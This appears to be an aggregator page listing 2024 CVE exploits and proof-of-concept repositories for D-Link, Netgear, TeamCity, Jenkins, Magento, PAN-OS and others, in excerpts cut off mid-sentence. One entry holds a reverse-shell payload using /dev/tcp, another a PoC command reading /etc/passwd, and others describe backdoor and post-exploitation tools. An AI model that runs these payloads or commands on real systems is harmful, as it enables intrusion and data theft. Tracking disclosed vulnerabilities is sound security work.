D-Link Network Attached Storage - Backdoor Account

A vulnerability, which was classified as very critical, has been found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. This issue affects some unknown processing of the file /cgi-bin/nassharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument user...

Netgear R6850 V1.1.0.88 - Command Injection

Netgear R6850 router firmware version V1.1.0.88 suffers from a command injection vulnerability in the pingtest functionality. An unauthenticated attacker can inject arbitrary system commands through the c4IPAddr parameter, resulting in remote code execution as root. id: CVE-2024-30568 info: name:...

JetBrains TeamCity > 2023.11.3 - Authentication Bypass

In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible id: CVE-2024-23917 info: name: JetBrains TeamCity 2023.11.3 - Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | In JetBrains TeamCity before 2023.11.3...

TVT DVR Sensitive Device - Information Disclosure

A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5LMM and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure. id: CVE-2024-7339...

Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll

A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll. id: CVE-2024-0801 info: name: Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll author: daffainfo severity: high description: | A denial of service vulnerability exists i...

Camaleon CMS < 2.8.1 Arbitrary File Write to RCE

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on depending on the permissions of the underlying filesystem. E.g. This can lead to a remote...

Kerio Control v9.2.5 - CRLF Injection

Kerio Control, formerly known as Kerio WinRoute Firewall, has been found vulnerable to multiple HTTP Response Splitting vulnerabilities in product affecting versions 9.2.5 id: CVE-2024-52875 info: name: Kerio Control v9.2.5 - CRLF Injection author: ritikchaddha,iamnoooob,rootxharsh,pdresearch...

CVE-2024-32002-POC

CVE-2024-32002-POC 这是 CVE-2024-32002 POC 的演示 运行： root@kitploit: git clone --recursive "[email protected]:masamuneee/CVE-2024-32002-POC.git" 后续将更新博客分析。...

magento-cve-2024-34102-exploit-cosmicstring

CVE 2024-34102 - CosmicSting-XXE-Schwachstelle in Adobe Commerce & Magento - Lehrmaterial Dieses Repository enthält Folien und Demomaterial für meinen Vortrag über die neueste XML-External-Entity-Schwachstelle XXE in Adobe Commerce und Magento. Der Zweck dieser Materialien ist rein pädagogischer...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE 任意文件读取 CVE-2024-23897 使用方法: python poc.py http://127.0.0.1:8888/ /etc/passwd 更新: 更新至 Jenkins 2.442, LTS 2.426.3 修复: 如果你无法更新到最新版本，请禁用对CLI的访问，这将完全消除被利用的可能性。...

sccm_sql_backdoor

sccmsqlbackdoor Uma ferramenta de prova de conceito que implanta um backdoor controlado em um procedimento armazenado do Management Point, permitindo a execução indireta de SQL por meio de um serviço HTTP legítimo do MP. Instalação Você pode instalar clonando o repositório e instalando as...

Tor-0day-JavaScript-Exploit

CVE-2024-9680 - TOR Browser 0day-Exploit UAF Use-After-Free in Animationszeitachsen – Schwachstelle für Remote-Codeausführung Wird aktiv in freier Wildbahn ausgenutzt und richtet sich gegen Tor-Browser-Nutzer. Analyse anzeigen • Offizielles CVE Übersicht Dieses Repository enthält eine umfassende...

CVE-2024-1651-PoC

CVE-2024-1651 该 CVE 由 Fluid Attack Offensive Team 的 Carlos Bello 发现。该发现讨论了利用不安全对象反序列化来实现 RCE（远程代码执行）。在此，我创建了一个更快且更易于使用的 PoC（概念验证）。因此，如果有人想要复现该发现，可以将此作为参考示例。 预览...

Poc-CVE-2024-32962-xml-crypto

Poc-CVE-2024-32962-xml-crypto Eine Simulation eines Angriffs, der die Schwachstelle CVE-2024-32962 ausnutzt, um SAML-Nachrichten zu fälschen und unbefugte Berechtigungen zu erlangen Sehr bald verfügbar. Poc...

CVE-2024-24919

CVE-2024-24919 Checker Ein einfaches Bash-Skript zur Überprüfung der Schwachstelle CVE-2024-24919. Installation Klonen Sie das Repository: root@kitploit: git clone https://github.com/am-eid/CVE-2024-24919.git cd CVE-2024-24919 chmod +x CVE-2024-24919 Verwendung ./CVE-2024-24919 -l ips.txt...

poc-cve-2024-32002

В этом репозитории нет README...

CVE-2024-380639

creationtimestamp| type| source ---|---|--- 2026-08-27 04:00:05+00:00| seen| https://t.me/xhqcankao/12727 2026-08-28 00:01:01+00:00| seen| https://t.me/xhqcankao/12727...

CVE-2024-23772

CVE-2024-23772 - Schwachstelle zur Erstellung beliebiger Dateien Informationen werden zu gegebener Zeit folgen...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' मूल रूप से, CVE-2023–26326 को deserialization भेद्यता के रूप में शोषण करने के लिए gadget chains की आवश्यकता थी। PHP 8+ पर चलने वाली नई WordPress साइटों पर यह विधि अब संभव नहीं है; हालाँकि,...

PanOsExploitMultitool

PanOsExploitMultitool Strumento multiuso per sfruttamento e post-sfruttamento per sistemi Palo Alto PAN-OS affetti dalle vulnerabilità CVE-2024-0012 e CVE-2024-9474 Durante lo sfruttamento iniziale delle vulnerabilità di esecuzione remota di codice CVE-2024-0012 e CVE-2024-9474, ho ottenuto una...